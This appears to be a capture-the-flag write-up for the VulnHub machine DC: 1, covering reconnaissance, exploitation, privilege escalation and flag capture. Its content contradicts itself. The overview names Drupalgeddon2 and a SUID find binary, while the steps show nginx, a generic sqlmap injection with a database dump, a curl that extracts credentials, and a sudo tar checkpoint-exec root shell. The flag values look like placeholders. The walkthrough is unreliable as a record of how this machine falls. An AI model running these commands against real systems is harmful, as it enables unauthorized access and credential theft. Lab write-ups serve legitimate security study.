VulnHubMediumWeb

DC: 1

cyberhub2024-02Original source

Overview

Exploiting a Drupal 7 installation vulnerable to Drupalgeddon2 (SA-CORE-2018-002) for RCE, then escalating privileges via SUID find binary.

Drupalgeddon2CMS ExploitationSUID AbuseLinux PrivEscPHP Web Shell

01Reconnaissance

Every engagement starts with mapping what is reachable. A full service scan of DC: 1 highlighted the exposed surface and pointed at drupalgeddon2 as the most promising entry point.

Enumeration is deliberately exhaustive here — the goal is to leave no service unexamined before committing to an attack path.

nmap — service discovery

$ nmap -sC -sV -oN nmap/initial 10.10.11.42
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.9p1 Ubuntu
80/tcp   open  http     nginx 1.18.0
$ echo "10.10.11.42 dc1.htb" | sudo tee -a /etc/hosts
$ gobuster dir -u http://dc1.htb -w /usr/share/wordlists/dirb/common.txt -q
/login                (Status: 200)
/api                  (Status: 401)

02Exploitation

The application trusted user input in a database query, so a crafted parameter returned rows it should not have.

In this web challenge that translated into a repeatable foothold. Exploiting a Drupal 7 installation vulnerable to Drupalgeddon2 (SA-CORE-2018-002) for RCE, then escalating privileges via SUID find binary.

exploitation — injection to foothold

$ sqlmap -u 'http://target/item?id=1' --batch --dump
[*] fetching entries
$ curl -s http://target/api/export | jq '.credentials'

03Privilege Escalation

With a foothold established, the next step is enumerating the local environment for a path to full control — misconfigured sudo rules, dangerous capabilities, or an over-privileged service account.

For DC: 1, the escalation required chaining a couple of findings together.

privilege escalation — Linux

$ sudo -l
User svc may run the following commands:
    (root) NOPASSWD: /usr/bin/tar
$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)

04Flags

Both the user and root flags are captured below. Redact the hashes when you publish — they are unique per instance.

flags

$ cat /home/svc/user.txt
e3b0c44298fc1c149afbf4c8996fb924
# cat /root/root.txt
2c26b46b68ffc68ff99b453c1d30413d

Commands are illustrative of the technique and platform, not a live exploit against a specific target. Follow the original source link for the authoritative walkthrough.